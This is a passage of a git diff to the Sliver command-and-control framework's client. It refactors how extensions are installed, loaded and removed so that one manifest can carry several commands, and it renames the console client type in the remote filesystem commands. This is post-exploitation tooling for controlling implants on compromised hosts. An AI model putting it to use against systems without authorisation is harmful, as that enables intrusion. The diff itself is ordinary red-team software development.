ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ExtensionsInstallCmd - Install an extension. +func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { extLocalPath := args[0] - fi, err := os.Stat(extLocalPath) + _, err := os.Stat(extLocalPath) if os.IsNotExist(err) { con.PrintErrorf("Extension path '%s' does not exist", extLocalPath) return } - if !fi.IsDir() { - InstallFromFilePath(extLocalPath, false, con) - } else { - installFromDir(extLocalPath, con) - } + InstallFromDir(extLocalPath, con, strings.HasSuffix(extLocalPath, ".tar.gz")) } // Install an extension from a directory -func installFromDir(extLocalPath string, con *console.SliverConsoleClient) { - manifestData, err := os.ReadFile(filepath.Join(extLocalPath, ManifestFileName)) +func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) { + var manifestData []byte + var err error + + if isGz { + manifestData, err = util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName)) + } else { + manifestData, err = os.ReadFile(filepath.Join(extLocalPath, ManifestFileName)) + } if err != nil { con.PrintErrorf("Error reading %s: %s", ManifestFileName, err) return } - manifest, err := ParseExtensionManifest(manifestData) + + manifestF, err := ParseExtensionManifest(manifestData) if err != nil { con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err) return } - installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName)) - if _, err := os.Stat(installPath); !os.IsNotExist(err) { - con.PrintInfof("Extension '%s' already exists", manifest.CommandName) + + // create repo path + minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name)) + if _, err := os.Stat(minstallPath); !os.IsNotExist(err) { + con.PrintInfof("Extension '%s' already exists", manifestF.Name) confirm := false prompt := &survey.Confirm{Message: "Overwrite current install?"} survey.AskOne(prompt, &confirm) if !confirm { return } - forceRemoveAll(installPath) + forceRemoveAll(minstallPath) } - - con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version) - err = os.MkdirAll(installPath, 0o700) + con.PrintInfof("Installing extension '%s' (%s) ... \n", manifestF.Name, manifestF.Version) + err = os.MkdirAll(minstallPath, 0o700) if err != nil { con.PrintErrorf("Error creating extension directory: %s\n", err) return } - err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600) + err = os.WriteFile(filepath.Join(minstallPath, ManifestFileName), manifestData, 0o600) if err != nil { con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err) - forceRemoveAll(installPath) + forceRemoveAll(minstallPath) return } - for _, manifestFile := range manifest.Files { - if manifestFile.Path != "" { - src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path)) - dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path)) - err := util.CopyFile(src, dst) - if err != nil { - con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err) - forceRemoveAll(installPath) - return - } - } - } -} - -// InstallFromFilePath - Install an extension from a .tar.gz file -func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string { - manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName)) - if err != nil { - con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err) - return nil - } - manifest, err := ParseExtensionManifest(manifestData) - if err != nil { - con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err) - return nil - } - installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName)) - if _, err := os.Stat(installPath); !os.IsNotExist(err) { - if !autoOverwrite { - con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName) - confirm := false - prompt := &survey.Confirm{Message: "Overwrite current install?"} - survey.AskOne(prompt, &confirm) - if !confirm { - return nil - } - } - forceRemoveAll(installPath) - } - - con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version) - err = os.MkdirAll(installPath, 0o700) - if err != nil { - con.PrintErrorf("Failed to create extension directory: %s\n", err) - return nil - } - err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600) - if err != nil { - con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err) - forceRemoveAll(installPath) - return nil - } - for _, manifestFile := range manifest.Files { - if manifestFile.Path != "" { - err = installArtifact(extLocalPath, installPath, manifestFile.Path, con) - if err != nil { - con.PrintErrorf("Failed to install file: %s\n", err) - forceRemoveAll(installPath) - return nil + for _, manifest := range manifestF.ExtCommand { + installPath := filepath.Join(minstallPath) + for _, manifestFile := range manifest.Files { + if manifestFile.Path != "" { + if isGz { + err = installArtifact(extLocalPath, installPath, manifestFile.Path, con) + } else { + src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path)) + dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path)) + err = os.MkdirAll(filepath.Dir(dst), 0o700) // required for extensions with multiple dirs between the .o file and the manifest + if err != nil { + con.PrintErrorf("\nError creating extension directory: %s\n", err) + forceRemoveAll(installPath) + return + } + err = util.CopyFile(src, dst) + if err != nil { + err = fmt.Errorf("error copying file '%s' -> '%s': %s\n", src, dst, err) + } + } + if err != nil { + con.PrintErrorf("Error installing command: %s\n", err) + forceRemoveAll(installPath) + return + } } } } - con.Printf("done!\n") - return &installPath } -func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error { +func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverClient) error { data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath)) if err != nil { return err diff --git a/client/command/extensions/list.go b/client/command/extensions/list.go index afc479a75c..d08ca41fe0 100644 --- a/client/command/extensions/list.go +++ b/client/command/extensions/list.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ExtensionsListCmd - List all extension loaded on the active session/beacon -func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ExtensionsListCmd - List all extension loaded on the active session/beacon. +func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/extensions/load.go b/client/command/extensions/load.go index 72b7d2fd29..94da844dec 100644 --- a/client/command/extensions/load.go +++ b/client/command/extensions/load.go @@ -24,12 +24,14 @@ import ( "encoding/json" "errors" "fmt" + "log" "os" "path" "path/filepath" "strconv" "strings" + "github.com/AlecAivazis/survey/v2" appConsole "github.com/reeflective/console" "github.com/rsteube/carapace" "github.com/spf13/cobra" @@ -49,13 +51,16 @@ import ( const ( defaultTimeout = 60 - // ManifestFileName - Extension manifest file name + // ManifestFileName - Extension manifest file name. ManifestFileName = "extension.json" ) -var loadedExtensions = map[string]*ExtensionManifest{} +var ( + loadedExtensions = map[string]*ExtCommand{} + loadedManifests = map[string]*ExtensionManifest{} +) -type ExtensionManifest struct { +type ExtensionManifest_ struct { Name string `json:"name"` CommandName string `json:"command_name"` Version string `json:"version"` @@ -73,6 +78,31 @@ type ExtensionManifest struct { RootPath string `json:"-"` } +type ExtensionManifest struct { + Name string `json:"name"` + Version string `json:"version"` + ExtensionAuthor string `json:"extension_author"` + OriginalAuthor string `json:"original_author"` + RepoURL string `json:"repo_url"` + + ExtCommand []*ExtCommand `json:"commands"` + + RootPath string `json:"-"` +} + +type ExtCommand struct { + CommandName string `json:"command_name"` + Help string `json:"help"` + LongHelp string `json:"long_help"` + Files []*extensionFile `json:"files"` + Arguments []*extensionArgument `json:"arguments"` + Entrypoint string `json:"entrypoint"` + DependsOn string `json:"depends_on"` + + Manifest *ExtensionManifest +} + +// type MultiManifest []*ExtensionManifest type extensionFile struct { OS string `json:"os"` Arch string `json:"arch"` @@ -86,11 +116,11 @@ type extensionArgument struct { Optional bool `json:"optional"` } -func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) { +func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) { filePath := "" for _, extFile := range e.Files { if targetOS == extFile.OS && targetArch == extFile.Arch { - filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path) + filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path) break } } @@ -105,22 +135,29 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta return filePath, nil } -// ExtensionLoadCmd - Load extension command -func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ExtensionLoadCmd - Load extension command. +func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { dirPath := args[0] // dirPath := ctx.Args.String("dir-path") - extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName)) + manyfest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName)) if err != nil { return } // do not add if the command already exists sliverMenu := con.App.Menu("implant") - if CmdExists(extCmd.CommandName, sliverMenu.Command) { - con.PrintErrorf("%s command already exists\n", extCmd.CommandName) - return + for _, extCmd := range manyfest.ExtCommand { + if CmdExists(extCmd.CommandName, sliverMenu.Command) { + con.PrintErrorf("%s command already exists\n", extCmd.CommandName) + confirm := false + prompt := &survey.Confirm{Message: "Overwrite current command?"} + survey.AskOne(prompt, &confirm) + if !confirm { + return + } + } + ExtensionRegisterCommand(extCmd, cmd.Root(), con) + con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help) } - ExtensionRegisterCommand(extCmd, cmd.Root(), con) - con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help) } // LoadExtensionManifest - Parse extension files @@ -129,53 +166,103 @@ func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) { if err != nil { return nil, err } - extManifest, err := ParseExtensionManifest(data) + manifest, err := ParseExtensionManifest(data) if err != nil { return nil, err } - extManifest.RootPath = filepath.Dir(manifestPath) - loadedExtensions[extManifest.CommandName] = extManifest - return extManifest, nil + manifest.RootPath = filepath.Dir(manifestPath) + for _, extManifest := range manifest.ExtCommand { + loadedExtensions[extManifest.CommandName] = extManifest + } + loadedManifests[manifest.Name] = manifest + + return manifest, nil +} + +func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest { + ret := &ExtensionManifest{ + Name: old.CommandName, // treating old commandname as the manifest name to avoid weird chars mostly + Version: old.Version, + ExtensionAuthor: old.ExtensionAuthor, + OriginalAuthor: old.OriginalAuthor, + RepoURL: old.RepoURL, + RootPath: old.RootPath, + // only one command exists in the old manifest, so we can 'confidently' create it here + ExtCommand: []*ExtCommand{ + { + CommandName: old.CommandName, + DependsOn: old.DependsOn, + Help: old.Help, + LongHelp: old.LongHelp, + Entrypoint: old.Entrypoint, + Files: old.Files, + Arguments: old.Arguments, + }, + }, + } + + // Manifest ref is done in the parser that calls this + + return ret } -// ParseExtensionManifest - Parse extension manifest from buffer +// parseExtensionManifest - Parse extension manifest from buffer (legacy, only parses one) func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) { extManifest := &ExtensionManifest{} err := json.Unmarshal(data, &extManifest) - if err != nil { - return nil, err - } - if extManifest.Name == "" { - return nil, errors.New("missing `name` field in extension manifest") + if err != nil || len(extManifest.ExtCommand) == 0 { // extensions must have at least one command to be sensible + // maybe it's an old manifest + log.Println(err) + oldmanifest := &ExtensionManifest_{} + err := json.Unmarshal(data, &oldmanifest) + if err != nil { + // nope, just broken + return nil, err + } + // yes, ok, lets jigger it to a new manifest + extManifest = convertOldManifest(oldmanifest) } - if extManifest.CommandName == "" { - return nil, errors.New("missing `command_name` field in extension manifest") + // pass ref to manifest to each command + for i := range extManifest.ExtCommand { + extManifest.ExtCommand[i].Manifest = extManifest } - if len(extManifest.Files) == 0 { - return nil, errors.New("missing `files` field in extension manifest") + return extManifest, validManifest(extManifest) +} + +func validManifest(manifest *ExtensionManifest) error { + if manifest.Name == "" { + return errors.New("missing `name` field in extension manifest") } - for _, extFiles := range extManifest.Files { - if extFiles.OS == "" { - return nil, errors.New("missing `files.os` field in extension manifest") + for _, extManifest := range manifest.ExtCommand { + if extManifest.CommandName == "" { + return errors.New("missing `command_name` field in extension manifest") } - if extFiles.Arch == "" { - return nil, errors.New("missing `files.arch` field in extension manifest") + if len(extManifest.Files) == 0 { + return errors.New("missing `files` field in extension manifest") } - extFiles.Path = util.ResolvePath(extFiles.Path) - if extFiles.Path == "" || extFiles.Path == "/" { - return nil, errors.New("missing `files.path` field in extension manifest") + for _, extFiles := range extManifest.Files { + if extFiles.OS == "" { + return errors.New("missing `files.os` field in extension manifest") + } + if extFiles.Arch == "" { + return errors.New("missing `files.arch` field in extension manifest") + } + extFiles.Path = util.ResolvePath(extFiles.Path) + if extFiles.Path == "" || extFiles.Path == "/" { + return errors.New("missing `files.path` field in extension manifest") + } + extFiles.OS = strings.ToLower(extFiles.OS) + extFiles.Arch = strings.ToLower(extFiles.Arch) + } + if extManifest.Help == "" { + return errors.New("missing `help` field in extension manifest") } - extFiles.OS = strings.ToLower(extFiles.OS) - extFiles.Arch = strings.ToLower(extFiles.Arch) - } - if extManifest.Help == "" { - return nil, errors.New("missing `help` field in extension manifest") } - return extManifest, nil + return nil } // ExtensionRegisterCommand - Register a new extension command -func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) { +func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *console.SliverClient) { if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil { con.PrintErrorf(errInvalidArgs.Error()) return @@ -197,7 +284,7 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con } // Flags - f := pflag.NewFlagSet(extCmd.Name, pflag.ContinueOnError) + f := pflag.NewFlagSet(extCmd.CommandName, pflag.ContinueOnError) f.BoolP("save", "s", false, "Save output to disk") f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds") extensionCmd.Flags().AddFlagSet(f) @@ -210,9 +297,9 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con cmd.AddCommand(extensionCmd) } -func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand, cmd *cobra.Command, con *console.SliverClient) error { var extensionList []string - binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch) + binPath, err := ext.getFileForTarget(goos, goarch) if err != nil { return err } @@ -233,10 +320,12 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa } depLoaded := false for _, extName := range extensionList { - if !depLoaded && extName == ext.DependsOn { - depLoaded = true + if !depLoaded { + if extN, ok := loadedExtensions[cmd.Name()]; ok && extName == extN.DependsOn { + depLoaded = true + } } - if ext.CommandName == extName { + if extN, ok := loadedExtensions[cmd.Name()]; ok && extN.CommandName == extName { return nil } } @@ -261,12 +350,12 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa return nil } -func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverClient) error { registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{ - Name: ext.CommandName, - Data: binData, - OS: goos, - Init: ext.Init, + Name: ext.CommandName, + Data: binData, + OS: goos, + // Init: ext.Init, ? Request: con.ActiveTarget.Request(cmd), }) if err != nil { @@ -278,10 +367,10 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd return nil } -func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverClient) error { depExt, ok := loadedExtensions[depName] if ok { - depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch) + depBinPath, err := depExt.getFileForTarget(goos, goarch) if err != nil { return err } @@ -294,7 +383,7 @@ func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con return fmt.Errorf("missing dependency %s", depName) } -func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var ( err error extensionArgs []byte @@ -327,7 +416,7 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args return } - binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch) + binPath, err := ext.getFileForTarget(goos, goarch) if err != nil { con.PrintErrorf("Failed to read extension file: %s\n", err) return @@ -351,8 +440,17 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point } else { // Regular DLL - extArgs := strings.Join(args, " ") - extensionArgs = []byte(extArgs) + // extArgs := strings.Join(args, " ") + //legacy case - single string arg + if len(ext.Arguments) == 1 && ext.Arguments[0].Type == "string" { + extensionArgs = []byte(strings.Join(args, " ")) + } else { + extensionArgs, err = getExtArgs(cmd, args, binPath, ext) + if err != nil { + con.PrintErrorf("ext args error: %s\n", err) + return + } + } extName = ext.CommandName entryPoint = ext.Entrypoint } @@ -374,7 +472,7 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } if callExtResp.Response != nil && callExtResp.Response.Async { - con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(callExtResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, callExtResp) if err != nil { con.PrintErrorf("Failed to decode call ext response %s\n", err) @@ -382,14 +480,13 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintExtOutput(extName, ext.CommandName, callExtResp, con) }) - con.PrintAsyncResponse(callExtResp.Response) } else { PrintExtOutput(extName, ext.CommandName, callExtResp, con) } } -// PrintExtOutput - Print the ext execution output -func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) { +// PrintExtOutput - Print the ext execution output. +func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverClient) { if extName == commandName { con.PrintInfof("Successfully executed %s", extName) } else { @@ -404,12 +501,8 @@ func PrintExtOutput(extName string, commandName string, callExtension *sliverpb. } } -func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtensionManifest) ([]byte, error) { - var extensionArgs []byte - binData, err := os.ReadFile(binPath) - if err != nil { - return nil, err - } +func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) { + var err error argsBuffer := core.BOFArgsBuffer{ Buffer: new(bytes.Buffer), } @@ -486,6 +579,17 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *Extensio if err != nil { return nil, err } + + return parsedArgs, nil +} + +func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) { + var extensionArgs []byte + binData, err := os.ReadFile(binPath) + if err != nil { + return nil, err + } + // Now build the extension's argument buffer extensionArgsBuffer := core.BOFArgsBuffer{ Buffer: new(bytes.Buffer), @@ -498,6 +602,10 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *Extensio if err != nil { return nil, err } + parsedArgs, err := getExtArgs(cmd, args, binPath, ext) + if err != nil { + return nil, err + } err = extensionArgsBuffer.AddData(parsedArgs) if err != nil { return nil, err @@ -509,7 +617,7 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *Extensio return extensionArgs, nil } -// CmdExists - checks if a command exists +// CmdExists - checks if a command exists. func CmdExists(name string, cmd *cobra.Command) bool { for _, c := range cmd.Commands() { if name == c.Name() { @@ -520,7 +628,7 @@ func CmdExists(name string, cmd *cobra.Command) bool { } // makeExtensionArgParser builds the valid positional arguments cobra handler for the extension. -func checkExtensionArgs(extCmd *ExtensionManifest) error { +func checkExtensionArgs(extCmd *ExtCommand) error { if 0 < len(extCmd.Arguments) { for _, arg := range extCmd.Arguments { switch arg.Type { @@ -536,7 +644,7 @@ func checkExtensionArgs(extCmd *ExtensionManifest) error { } // makeExtensionArgCompleter builds the positional arguments completer for the extension. -func makeExtensionArgCompleter(extCmd *ExtensionManifest, _ *cobra.Command, comps *carapace.Carapace) { +func makeExtensionArgCompleter(extCmd *ExtCommand, _ *cobra.Command, comps *carapace.Carapace) { var actions []carapace.Action for _, arg := range extCmd.Arguments { @@ -558,7 +666,7 @@ func makeExtensionArgCompleter(extCmd *ExtensionManifest, _ *cobra.Command, comp comps.PositionalCompletion(actions...) } -func makeCommandPlatformFilters(extCmd *ExtensionManifest) map[string]string { +func makeCommandPlatformFilters(extCmd *ExtCommand) map[string]string { filtersOS := make(map[string]bool) filtersArch := make(map[string]bool) diff --git a/client/command/extensions/remove.go b/client/command/extensions/remove.go index ceadf621c3..a9d5c69b80 100644 --- a/client/command/extensions/remove.go +++ b/client/command/extensions/remove.go @@ -32,8 +32,8 @@ import ( "github.com/bishopfox/sliver/util" ) -// ExtensionsRemoveCmd - Remove an extension -func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ExtensionsRemoveCmd - Remove an extension. +func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name := args[0] if name == "" { con.PrintErrorf("Extension name is required\n") @@ -45,17 +45,27 @@ func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a if !confirm { return } - err := RemoveExtensionByCommandName(name, con) + found, err := RemoveExtensionByManifestName(name, con) if err != nil { - con.PrintErrorf("Error removing extension: %s\n", err) + con.PrintErrorf("Error removing extensions: %s\n", err) return + } + if !found { + err = RemoveExtensionByCommandName(name, con) + if err != nil { + con.PrintErrorf("Error removing extension: %s\n", err) + return + } else { + con.PrintInfof("Extension '%s' removed\n", name) + } } else { - con.PrintInfof("Extension '%s' removed\n", name) + // found, and no error, manifest must have removed good + con.PrintInfof("Extensions from %s removed\n", name) } } -// RemoveExtensionByCommandName - Remove an extension by command name -func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error { +// RemoveExtensionByCommandName - Remove an extension by command name. +func RemoveExtensionByCommandName(commandName string, con *console.SliverClient) error { if commandName == "" { return errors.New("command name is required") } @@ -71,6 +81,28 @@ func RemoveExtensionByCommandName(commandName string, con *console.SliverConsole return nil } +// RemoveExtensionByManifestName - remove by the named manifest, returns true if manifest was removed, false if no manifest with that name was found +func RemoveExtensionByManifestName(manifestName string, con *console.SliverClient) (bool, error) { + if manifestName == "" { + return false, errors.New("command name is required") + } + if man, ok := loadedManifests[manifestName]; ok { + // foudn the manifest + // delet it + extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName)) + if _, err := os.Stat(extPath); os.IsNotExist(err) { + return true, nil + } + forceRemoveAll(extPath) + delete(loadedManifests, manifestName) + for _, cmd := range man.ExtCommand { + delete(loadedExtensions, cmd.CommandName) + } + return true, nil + } + return false, nil +} + func forceRemoveAll(rootPath string) { util.ChmodR(rootPath, 0o600, 0o700) os.RemoveAll(rootPath) diff --git a/client/command/filesystem/cat.go b/client/command/filesystem/cat.go index 4d92634b23..193c0ee8a6 100644 --- a/client/command/filesystem/cat.go +++ b/client/command/filesystem/cat.go @@ -37,8 +37,8 @@ import ( "github.com/bishopfox/sliver/util/encoders" ) -// CatCmd - Display the contents of a remote file -func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CatCmd - Display the contents of a remote file. +func CatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -63,11 +63,11 @@ func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if download.Response != nil && download.Response.Async { - con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(download.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, download) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -75,14 +75,13 @@ func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } PrintCat(download, cmd, con) }) - con.PrintAsyncResponse(download.Response) } else { PrintCat(download, cmd, con) } } -// PrintCat - Print the download to stdout -func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverConsoleClient) { +// PrintCat - Print the download to stdout. +func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverClient) { var ( lootDownload bool = true err error diff --git a/client/command/filesystem/cd.go b/client/command/filesystem/cd.go index 02fcf5ff69..f5e307ced9 100644 --- a/client/command/filesystem/cd.go +++ b/client/command/filesystem/cd.go @@ -21,17 +21,16 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// CdCmd - Change directory on the remote system -func CdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CdCmd - Change directory on the remote system. +func CdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -47,11 +46,11 @@ func CdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) Path: filePath, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if pwd.Response != nil && pwd.Response.Async { - con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(pwd.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, pwd) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -59,7 +58,6 @@ func CdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } PrintPwd(pwd, con) }) - con.PrintAsyncResponse(pwd.Response) } else { PrintPwd(pwd, con) } diff --git a/client/command/filesystem/chmod.go b/client/command/filesystem/chmod.go index 083c2feab1..4d086cf419 100644 --- a/client/command/filesystem/chmod.go +++ b/client/command/filesystem/chmod.go @@ -20,17 +20,16 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ChmodCmd - Change the permissions of a file on the remote file system -func ChmodCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ChmodCmd - Change the permissions of a file on the remote file system. +func ChmodCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -59,11 +58,11 @@ func ChmodCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin Recursive: recursive, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if chmod.Response != nil && chmod.Response.Async { - con.AddBeaconCallback(chmod.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(chmod.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, chmod) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -71,14 +70,13 @@ func ChmodCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } PrintChmod(chmod, con) }) - con.PrintAsyncResponse(chmod.Response) } else { PrintChmod(chmod, con) } } -// PrintChmod - Print the chmod response -func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverConsoleClient) { +// PrintChmod - Print the chmod response. +func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverClient) { if chmod.Response != nil && chmod.Response.Err != "" { con.PrintErrorf("%s\n", chmod.Response.Err) return diff --git a/client/command/filesystem/chown.go b/client/command/filesystem/chown.go index 1a95be6255..ba941a8a34 100644 --- a/client/command/filesystem/chown.go +++ b/client/command/filesystem/chown.go @@ -20,17 +20,16 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ChownCmd - Change the owner of a file on the remote file system -func ChownCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ChownCmd - Change the owner of a file on the remote file system. +func ChownCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -67,11 +66,11 @@ func ChownCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin Recursive: recursive, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if chown.Response != nil && chown.Response.Async { - con.AddBeaconCallback(chown.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(chown.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, chown) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -79,14 +78,13 @@ func ChownCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } PrintChown(chown, con) }) - con.PrintAsyncResponse(chown.Response) } else { PrintChown(chown, con) } } -// PrintChown - Print the chown response -func PrintChown(chown *sliverpb.Chown, con *console.SliverConsoleClient) { +// PrintChown - Print the chown response. +func PrintChown(chown *sliverpb.Chown, con *console.SliverClient) { if 